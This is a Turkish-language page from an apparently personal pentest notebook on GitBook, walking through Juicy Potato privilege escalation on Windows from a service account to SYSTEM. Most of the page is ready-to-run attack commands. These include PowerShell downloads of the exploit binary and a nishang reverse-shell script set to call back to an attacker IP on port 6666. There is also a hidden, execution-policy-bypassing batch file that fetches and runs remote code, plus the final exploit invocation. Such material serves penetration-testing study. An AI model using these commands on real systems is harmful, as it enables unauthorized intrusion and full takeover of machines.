Tufan Turhan
  • Introduction
  • Red Teaming
    • Initial Access
      • VoipHopper
      • SMB – SCF File Attacks
      • MITM6
      • LLMNR, NBT-NS, mDNS Zehirlemeleri ve Relay Ataklar
    • Responder - DNS Injection
    • Privilege Escalation
      • PrintNightmare
      • Juicy Potato ile Windows Yetki Yükseltme
      • Token Impersonation with Incognito
    • Active Directory & Kerberos
      • Kerberos
      • Kerberosting
      • AS-REP Roasting
      • Overpass The Hash/Pass The Key (PTK)
      • DCSync Attack
      • DCShadow Attack
      • GETTGT
      • Golden Tickets
      • Silver Tickets
      • PowerView
      • MS14-025 (GPP Abusing)
      • BloodHound
      • Procdump
    • Lateral Movement
      • RDP MiTM-Hijacking
      • Vlan Hopping
      • Pivoting
    • Network Pentest
      • IPv4 Subnet Cheat Sheet
      • DNS Spoofing
      • DHCP Rogue
    • Shell to Meterpreter
    • Turn Off or Bypass AV
    • Useful CMD or Powershell Command
    • Brute Force
    • Windows Dosya İndirme
    • Windows UAC Bypass
    • Insecure Dosya İzni
  • Pentesting
    • Pentesting FTP - 21
    • Pentesting SMTP - 25,465,587
    • Pentesting SMB - 139 & 445
    • Pentesting Telnet - 23
    • Pentesting DNS - 53
    • Pentesting MSRPC -135
    • Pentesting SNMP - 161,162
    • Pentesting LDAP - 389,636
    • Pentesting MSSQL - 1433
    • Pentesting MYSQL - 3306
    • Pentesting RDP - 3389
    • Pentesing WINRM 5985,5986
  • Web Application
    • 2FA/OTP Bypass
    • Captcha Bypass
    • Cache Poisoning
    • Command Injection (OS)
    • CRLF Injection
    • Cross-site WebSocket hijacking (CSWSH) -
    • Cross-site request forgery (CSRF) -
    • Dangling Markup -
    • Path traversal
    • File Upload
    • Formula Injection (CSV Injection)
    • Login Bypass List
    • OAuth -
    • Open Redirect
    • Race Condition -
    • Registration - Password Reset & Takeover Vulnerabilities
    • SQL Injection
    • SSRF
  • Linux Privilege Escalation
    • PHP Wrapper
    • Simple Http
    • Editing /etc/passwd
    • SUID Binaries
    • Sudo Rights
    • Otomatize Araçlar
    • OSCP Not
  • HTB
  • Reverse Shell w/Msfvenom
  • Upgrading Simple Shells to Fully Interactive TTYs
Powered by GitBook
On this page
  1. Red Teaming
  2. Privilege Escalation

Juicy Potato ile Windows Yetki Yükseltme

PreviousPrintNightmareNextToken Impersonation with Incognito

Last updated 3 years ago

Microsoft kaynaklı bir yapılandırma zafiyeti istismar edilecek ve NT AUTHORITY\SYSTEM yetkisi elde edilecektir.

Windows Server 2008 R2 üzerinde, Server 2012 ve Windows Server 2016’da zafiyet devam etmektedir. Windows bu zafiyeti Server 2019 ile düzelttiğini söylemektedir. Bu zafiyeti tetiklemek için hedef makine de bir kullanıcı shell’ine sahip olmamız gerekmektedir!

Bir servis kullanıcısının yetkisi kullanılarak hak yükseltmek için Juicy Potato adlı bir uygulama kullanılabilir. Juicy Potato ile hak yükseltebilmek için, bu uygulamayı çalıştıracak kullanıcının aşağıdaki proseslerden birisini çağırabilmesi gereklidir.

SeImpersonatePrivilege ya da SeAssignPrimaryTokenPrivilege.

SQL sunucu hizmetini veya IIS hizmetini çalıştıran kullanıcılar, genellikle tasarım gereği bu ayrıcalıklara sahiptir. Bu ayrıcalık, bir hizmetin sistemdeki diğer kullanıcıları taklit etmesine izin vermek için tasarlanmıştır. Juicy Potato, local privilegesları SYSTEM'e yükseltir.

Kali makinimize juicyi indirmemiz gerekiyor. Ardından indirdiğimiz bu uygulamayı kalide web server oluşturup (python -m SimpleHTTPServer 5555)

hedef makinemize atmak için şu komutu yazacağız. (ip adresi ve dosya konumu değişkendir.)

(new-object net.webclient).downloadfile(', 'C:\Users\SQLService\Documents\jp.exe')

./jp.exe diye çalıştırdığımız da bize beklediği parametleri ve kullanabileceğimiz parametreleri gösterecektir.

Zorunlu 3 parametremiz var bunlar:

-t: yapacağı işlem şeklini soruyor. * yaparsak her şekilde dener.

-p: reverse almak için kullanılan program

-l: dinlenen port

Gelelim Invoke-PowerShell’e.

Önce Invoke-PowerShellTcp.ps1 komut dosyasını bulunduğumuz dizine kopyalıyoruz. Kopyalayalım bunu çünkü configde değişiklikler yapacağız.

cp ../../../nishang/Shells/Invoke-PowerShellTcp.ps1 . mv Invoke-PowerShellTcp.ps1 shell-2.ps1

Kopyaladığımız dosyanın sonuna şunu ekliyoruz (kendi ip adresimiz ve nc ile dinleyeceğimiz port) :

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.158.129 -Port 6666

6666 numaralı portumuzu reverse shell gelecek o yüzden bu portu dinlemeliyiz.

Şimdi bu dosyayı da karşı tarafa atmalıyız. Bu dosyayı indirmesi için bir Windows betiği hazırlıyoruz ve Windows makinemiz de şu komutu yazıyoruz.

echo "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noninteractive -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile IEX(New-Object Net.WebClient).downloadString('http://192.168.158.129:5555/shell-2.ps1')" > shell.bat

dir ile kontrol edersek dosyanın gelmiş olacağını göreceğiz ve type ile bu dosyanın içeriğini okuyalım ve kopyalayıp kaliye shell.bat olarak kaydedelim.

Ardında şu komutu yazalım:

powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.158.129:5555/shell.bat','C:\Users\SQLService\Documents\shell.bat')"

ve artık her şey hazır reverse shell alma zamanı!

./jp.exe -t * -p "./shell.bat" -l 4444

Not: Dosyanın kaliden windows'a geçme aşaması farklı şekillerde olabilir. Detaylı powershell komutları için:

Ref:

https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters
https://ranakhalil101.medium.com/hack-the-box-json-writeup-w-o-metasploit-1218df042b2c
https://www.siberportal.org/red-team/windows-operating-system-penetration-tests/juicy-potato-uygulamasi-kullanarak-windows-servis-kullanicisi-yetkisinin-yukseltilmesi/
http://192.168.158.129:5555/JuicyPotato.exe'